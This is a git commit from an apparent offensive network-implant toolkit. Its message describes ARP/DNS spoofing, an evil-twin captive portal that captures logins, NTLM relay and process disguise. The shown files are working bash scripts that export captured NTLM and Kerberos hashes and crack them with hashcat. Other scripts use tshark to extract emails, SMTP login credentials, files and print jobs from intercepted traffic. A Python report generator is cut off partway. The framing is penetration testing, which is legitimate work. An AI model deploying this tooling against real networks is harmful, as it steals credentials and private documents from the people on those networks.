Phase 4: Active modules, templates, and operator scripts

Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
n0mad1k
2026-03-18 13:48:11 -04:00
parent 955ebfc8db
commit ba5143b560
28 changed files with 4956 additions and 0 deletions
View File
+248
View File
@@ -0,0 +1,248 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Export and Crack Captured Hashes
#
# Exports credentials from BigBrother's credential database and Responder
# logs into hashcat-ready format. Optionally runs hashcat with common
# wordlists and rule sets.
#
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
#
# Examples:
# ./crack_hashes.sh ./bb-pull-20240115 # Export only
# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
#
# Requires: sqlite3, hashcat (optional)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
DATA_DIR="${1:-}"
DO_CRACK=false
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
shift || true
while [[ $# -gt 0 ]]; do
case "$1" in
--crack) DO_CRACK=true ;;
--wordlist) WORDLIST="$2"; shift ;;
--rules) RULES_FILE="$2"; shift ;;
*) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
esac
shift
done
if [[ -z "$DATA_DIR" ]]; then
echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
echo ""
echo "Options:"
echo " --crack Run hashcat after export"
echo " --wordlist <path> Wordlist for cracking (default: rockyou.txt)"
echo " --rules <path> Hashcat rules file (default: best64.rule)"
echo ""
echo "Environment:"
echo " HASHCAT_WORDLIST Default wordlist path"
echo " HASHCAT_RULES Default rules file path"
exit 1
fi
OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$OUTPUT_DIR"
echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
echo -e " Data dir: ${DATA_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Export from credential database
# ---------------------------------------------------------------------------
CRED_DB="$DATA_DIR/databases/credentials.db"
TOTAL_HASHES=0
if [[ -f "$CRED_DB" ]]; then
echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
# NTLMv2 hashes (hashcat mode 5600)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/ntlmv2_5600.txt" || true
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " NTLMv2 (5600): ${count}"
# NTLMv1 hashes (hashcat mode 5500)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/ntlmv1_5500.txt" || true
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " NTLMv1 (5500): ${count}"
# Kerberos TGS (hashcat mode 13100)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " Kerberos TGS (13100): ${count}"
# Kerberos AS-REP (hashcat mode 18200)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " Kerberos AS-REP (18200): ${count}"
# Cleartext credentials (no cracking needed)
sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/cleartext.txt" || true
count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
echo -e " ${GREEN}Cleartext: ${count}${NC}"
echo ""
else
echo -e "${YELLOW}[*] No credential database found${NC}"
fi
# ---------------------------------------------------------------------------
# Export from Responder logs
# ---------------------------------------------------------------------------
RESPONDER_DIR="$DATA_DIR/responder"
if [[ -d "$RESPONDER_DIR" ]]; then
echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
# Collect NTLMv2 hashes from Responder log files
for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
[[ -f "$hashfile" ]] || continue
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
done
for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
[[ -f "$hashfile" ]] || continue
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
done
# Deduplicate
for f in "$OUTPUT_DIR"/*.txt; do
[[ -f "$f" ]] || continue
sort -u "$f" -o "$f"
done
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
echo -e " NTLMv2 total (deduped): ${count}"
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
echo -e " NTLMv1 total (deduped): ${count}"
echo ""
fi
# Remove empty files
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
# ---------------------------------------------------------------------------
# Summary of unique users
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
[[ -f "$hashfile" ]] || continue
mode=$(basename "$hashfile" | grep -o '[0-9]*')
echo -e " ${CYAN}Mode $mode:${NC}"
cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
if [[ $total -gt 20 ]]; then
echo -e " ... ($total total)"
fi
done
echo ""
# ---------------------------------------------------------------------------
# Crack with hashcat (optional)
# ---------------------------------------------------------------------------
if $DO_CRACK; then
if ! command -v hashcat &>/dev/null; then
echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
exit 1
fi
if [[ ! -f "$WORDLIST" ]]; then
echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
exit 1
fi
echo -e "${CYAN}[*] Running hashcat...${NC}"
echo -e " Wordlist: ${WORDLIST}"
echo -e " Rules: ${RULES_FILE}"
echo ""
POTFILE="$OUTPUT_DIR/hashcat.potfile"
# Crack each hash type
for hashfile in "$OUTPUT_DIR"/*.txt; do
[[ -f "$hashfile" ]] || continue
basename_hash=$(basename "$hashfile")
# Skip cleartext and already-cracked
[[ "$basename_hash" == "cleartext.txt" ]] && continue
[[ "$basename_hash" == "cracked_"* ]] && continue
# Extract hashcat mode from filename
mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
if [[ -z "$mode" ]]; then
continue
fi
count=$(wc -l < "$hashfile")
if [[ $count -eq 0 ]]; then
continue
fi
echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
# Run hashcat — dictionary + rules
hashcat -m "$mode" -a 0 \
"$hashfile" "$WORDLIST" \
-r "$RULES_FILE" \
--potfile-path "$POTFILE" \
--outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
--outfile-format 2 \
-O \
2>/dev/null || true
cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
echo ""
done
# ---------------------------------------------------------------------------
# Cracking summary
# ---------------------------------------------------------------------------
echo -e "${GREEN}[+] Cracking complete${NC}"
echo -e " Potfile: $POTFILE"
echo ""
echo -e "${CYAN}[*] Cracked credentials:${NC}"
for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
[[ -f "$cracked" ]] || continue
echo -e " ${GREEN}$(basename $cracked):${NC}"
head -20 "$cracked" | sed 's/^/ /'
done
else
echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
echo " Run with --crack to start cracking"
echo ""
echo " Manual cracking examples:"
echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
fi
+188
View File
@@ -0,0 +1,188 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Emails from PCAPs
#
# Extracts SMTP email messages from network captures. Reconstructs
# complete emails including headers, body, and attachments.
#
# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
# internal networks, especially between mail servers and printers/scanners.
#
# Usage: ./extract_emails.sh <pcap_dir> [output_dir]
#
# Requires: tshark
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
if ! command -v tshark &>/dev/null; then
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
exit 1
fi
mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract SMTP sessions
# ---------------------------------------------------------------------------
EMAIL_COUNT=0
ATTACHMENT_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
# Check for SMTP traffic
has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
if [[ "$has_smtp" -eq 0 ]]; then
echo -e " (no SMTP traffic)"
continue
fi
# Export IMF (Internet Message Format) objects
imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
mkdir -p "$imf_dir"
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
if [[ $imf_count -gt 0 ]]; then
echo -e " ${GREEN}Found $imf_count email messages${NC}"
EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
fi
# Extract SMTP streams for raw analysis
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams; do
stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
# Follow the TCP stream
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
> "$stream_file" 2>/dev/null || true
if [[ ! -s "$stream_file" ]]; then
rm -f "$stream_file"
continue
fi
# Extract email metadata
from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
if [[ -n "$from" || -n "$to" ]]; then
# Write summary
{
echo "Stream: $stream_id"
echo "From: $from"
echo "To: $to"
echo "Subject: $subject"
echo "File: $stream_file"
echo "---"
} >> "$OUTPUT_DIR/summary/email_index.txt"
fi
done
# Also check port 587 (submission)
streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams_587; do
stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
> "$stream_file" 2>/dev/null || true
[[ -s "$stream_file" ]] || rm -f "$stream_file"
done
echo ""
done
# ---------------------------------------------------------------------------
# Parse extracted emails for attachments
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
[[ -f "$email_file" ]] || continue
# Look for MIME boundaries indicating attachments
if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
echo -e " Attachment found: ${filename} in $(basename $email_file)"
fi
done
# ---------------------------------------------------------------------------
# Extract SMTP auth credentials
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
[[ -f "$stream_file" ]] || continue
# Look for AUTH LOGIN or AUTH PLAIN
if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
echo "---" >> "$cred_file"
fi
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Email extraction complete${NC}"
echo -e " Emails found: ${EMAIL_COUNT}"
echo -e " Attachments found: ${ATTACHMENT_COUNT}"
echo ""
if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
echo -e "${CYAN}[*] Email index:${NC}"
head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
if [[ $total_indexed -gt 5 ]]; then
echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
fi
fi
if [[ -f "$cred_file" ]]; then
echo ""
echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
echo -e " (base64 encoded — decode with: echo '<value>' | base64 -d)"
fi
+134
View File
@@ -0,0 +1,134 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Files from PCAPs
#
# Uses tshark to extract transferred files from PCAP captures.
# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
#
# Usage: ./extract_files.sh <pcap_dir> [output_dir]
#
# Examples:
# ./extract_files.sh ./bb-pull-20240115/pcaps
# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
#
# Requires: tshark (Wireshark CLI)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
# Check dependencies
if ! command -v tshark &>/dev/null; then
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
exit 1
fi
# Create output structure
mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract files from each PCAP
# ---------------------------------------------------------------------------
PCAP_COUNT=0
HTTP_COUNT=0
SMB_COUNT=0
FTP_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
PCAP_COUNT=$((PCAP_COUNT + 1))
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
# HTTP objects (downloads, uploads, pages)
echo -e " Extracting HTTP objects..."
http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
mkdir -p "$http_dir"
tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
HTTP_COUNT=$((HTTP_COUNT + count))
echo -e " ${GREEN}Found $count HTTP objects${NC}"
# SMB file transfers
echo -e " Extracting SMB objects..."
smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
mkdir -p "$smb_dir"
tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
SMB_COUNT=$((SMB_COUNT + count))
echo -e " ${GREEN}Found $count SMB objects${NC}"
# FTP data streams
echo -e " Extracting FTP data..."
ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
mkdir -p "$ftp_dir"
tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
FTP_COUNT=$((FTP_COUNT + count))
echo -e " ${GREEN}Found $count FTP objects${NC}"
# TFTP transfers
echo -e " Extracting TFTP data..."
tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
mkdir -p "$tftp_dir"
tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
# IMF (email) objects
echo -e " Extracting email objects..."
imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
mkdir -p "$imf_dir"
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
echo ""
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
if [[ $PCAP_COUNT -eq 0 ]]; then
echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
exit 1
fi
TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
echo -e "${GREEN}[+] Extraction complete${NC}"
echo -e " PCAPs processed: ${PCAP_COUNT}"
echo -e " Total files: ${TOTAL}"
echo -e " HTTP objects: ${HTTP_COUNT}"
echo -e " SMB objects: ${SMB_COUNT}"
echo -e " FTP objects: ${FTP_COUNT}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
echo ""
echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
+152
View File
@@ -0,0 +1,152 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Print Jobs from PCAPs
#
# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
#
# Print traffic is often unencrypted and contains sensitive documents:
# HR letters, financial reports, legal docs, network diagrams, etc.
#
# Usage: ./extract_print_jobs.sh <pcap_dir> [output_dir]
#
# Requires: tshark, ghostscript (gs)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/print-jobs-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
# Check dependencies
for tool in tshark gs; do
if ! command -v "$tool" &>/dev/null; then
echo -e "${RED}[-] $tool not found${NC}"
case "$tool" in
tshark) echo " Install with: apt install tshark" ;;
gs) echo " Install with: apt install ghostscript" ;;
esac
exit 1
fi
done
mkdir -p "$OUTPUT_DIR"/{raw,pdf,metadata}
echo -e "${CYAN}[*] BigBrother Print Job Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract print streams from PCAPs
# ---------------------------------------------------------------------------
JOB_COUNT=0
PDF_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
# Check if this PCAP has any port 9100 traffic
has_print=$(tshark -r "$pcap" -Y "tcp.port == 9100" -c 1 2>/dev/null | wc -l)
if [[ "$has_print" -eq 0 ]]; then
echo -e " (no print traffic)"
continue
fi
# Extract TCP streams on port 9100
# Get unique stream indices for print traffic
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 9100 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams; do
JOB_COUNT=$((JOB_COUNT + 1))
raw_file="$OUTPUT_DIR/raw/job_${JOB_COUNT}_stream${stream_id}.raw"
pdf_file="$OUTPUT_DIR/pdf/job_${JOB_COUNT}_stream${stream_id}.pdf"
meta_file="$OUTPUT_DIR/metadata/job_${JOB_COUNT}.txt"
# Extract the raw print data from the TCP stream
tshark -r "$pcap" -q -z "follow,tcp,raw,${stream_id}" 2>/dev/null | \
grep -E '^[0-9a-fA-F]+$' | xxd -r -p > "$raw_file" 2>/dev/null || true
if [[ ! -s "$raw_file" ]]; then
rm -f "$raw_file"
JOB_COUNT=$((JOB_COUNT - 1))
continue
fi
file_size=$(stat -c %s "$raw_file" 2>/dev/null || echo 0)
echo -e " Stream $stream_id: ${file_size} bytes"
# Record metadata (source/dest IPs, timestamps)
tshark -r "$pcap" -Y "tcp.stream == ${stream_id}" -c 1 \
-T fields -e ip.src -e ip.dst -e frame.time 2>/dev/null > "$meta_file" || true
echo "Raw file: $raw_file" >> "$meta_file"
echo "Size: $file_size bytes" >> "$meta_file"
# Detect format and convert to PDF
file_magic=$(head -c 20 "$raw_file" | cat -v 2>/dev/null || echo "")
if echo "$file_magic" | grep -q "%!PS\|%PDF\|^-E"; then
# PostScript or PDF — convert with Ghostscript
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
"$raw_file" 2>/dev/null && {
PDF_COUNT=$((PDF_COUNT + 1))
echo -e " ${GREEN}Converted to PDF: $(basename $pdf_file)${NC}"
} || {
echo -e " ${RED}Ghostscript conversion failed${NC}"
}
elif echo "$file_magic" | grep -qi "^.E.*HP\|PCL\|PJL"; then
# PCL/PJL — try Ghostscript PCL interpreter
gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$pdf_file" \
"$raw_file" 2>/dev/null && {
PDF_COUNT=$((PDF_COUNT + 1))
echo -e " ${GREEN}Converted PCL to PDF: $(basename $pdf_file)${NC}"
} || {
echo -e " ${YELLOW}PCL conversion failed (raw data preserved)${NC}"
}
else
echo -e " ${YELLOW}Unknown format — raw data preserved${NC}"
echo "Format: unknown (magic: $(head -c 10 "$raw_file" | xxd -p 2>/dev/null))" >> "$meta_file"
fi
done
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Print job extraction complete${NC}"
echo -e " Print jobs found: ${JOB_COUNT}"
echo -e " Converted to PDF: ${PDF_COUNT}"
echo ""
if [[ $JOB_COUNT -gt 0 ]]; then
echo -e "${CYAN}[*] Output:${NC}"
echo " Raw data: $OUTPUT_DIR/raw/"
echo " PDFs: $OUTPUT_DIR/pdf/"
echo " Metadata: $OUTPUT_DIR/metadata/"
echo ""
ls -lhS "$OUTPUT_DIR/pdf/" 2>/dev/null | tail -20 | sed 's/^/ /'
fi
+509
View File
@@ -0,0 +1,509 @@
#!/usr/bin/env python3
"""BigBrother Operator Script — Generate Engagement Report.
Pulls data from SQLite databases synced from the implant and generates
a structured engagement report in both Markdown and HTML formats.
Sections:
1. Executive Summary
2. Network Topology & Host Inventory
3. Captured Credentials
4. DNS Intelligence
5. Traffic Analysis
6. Timeline of Events
7. Recommendations
Usage:
python3 generate_report.py <data_dir> [--output <path>] [--title <title>]
Examples:
python3 generate_report.py ./bb-pull-20240115
python3 generate_report.py ./bb-pull-20240115 --title "ACME Corp Assessment"
"""
import argparse
import json
import os
import sqlite3
import sys
import time
from collections import Counter, defaultdict
from datetime import datetime, timezone
from pathlib import Path
# ---------------------------------------------------------------------------
# Database helpers
# ---------------------------------------------------------------------------
def connect_db(db_path):
"""Connect to a SQLite database if it exists."""
if not os.path.isfile(db_path):
return None
try:
conn = sqlite3.connect(db_path)
conn.row_factory = sqlite3.Row
return conn
except Exception:
return None
def safe_query(conn, sql, params=None):
"""Execute a query, returning empty list on error."""
if conn is None:
return []
try:
cursor = conn.execute(sql, params or ())
return cursor.fetchall()
except Exception:
return []
# ---------------------------------------------------------------------------
# Data collection
# ---------------------------------------------------------------------------
def collect_credentials(data_dir):
"""Collect credentials from credential database and Responder logs."""
creds = []
# From credential DB
conn = connect_db(os.path.join(data_dir, "databases", "credentials.db"))
if conn:
rows = safe_query(conn, """
SELECT timestamp, source_ip, target_ip, target_service,
username, domain, credential_type, hashcat_mode
FROM credentials
ORDER BY timestamp
""")
for r in rows:
creds.append({
"timestamp": r["timestamp"],
"source_ip": r["source_ip"] or "",
"target_ip": r["target_ip"] or "",
"service": r["target_service"] or "",
"username": r["username"] or "",
"domain": r["domain"] or "",
"type": r["credential_type"] or "",
"hashcat_mode": r["hashcat_mode"],
})
conn.close()
return creds
def collect_hosts(data_dir):
"""Collect host inventory from state database."""
hosts = []
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
if conn:
rows = safe_query(conn, """
SELECT key, value FROM kv_store
WHERE module = 'host_discovery'
""")
for r in rows:
try:
host_data = json.loads(r["value"])
if isinstance(host_data, dict):
hosts.append(host_data)
except (json.JSONDecodeError, TypeError):
pass
conn.close()
# Also check topology DB
conn = connect_db(os.path.join(data_dir, "databases", "topology.db"))
if conn:
rows = safe_query(conn, """
SELECT ip, mac, hostname, os, vendor, first_seen, last_seen
FROM hosts
ORDER BY ip
""")
for r in rows:
hosts.append({
"ip": r["ip"],
"mac": r["mac"] or "",
"hostname": r["hostname"] or "",
"os": r["os"] or "",
"vendor": r["vendor"] or "",
"first_seen": r["first_seen"],
"last_seen": r["last_seen"],
})
conn.close()
return hosts
def collect_dns_stats(data_dir):
"""Collect DNS query statistics."""
stats = {"total_queries": 0, "top_domains": [], "top_queriers": [], "doh_count": 0}
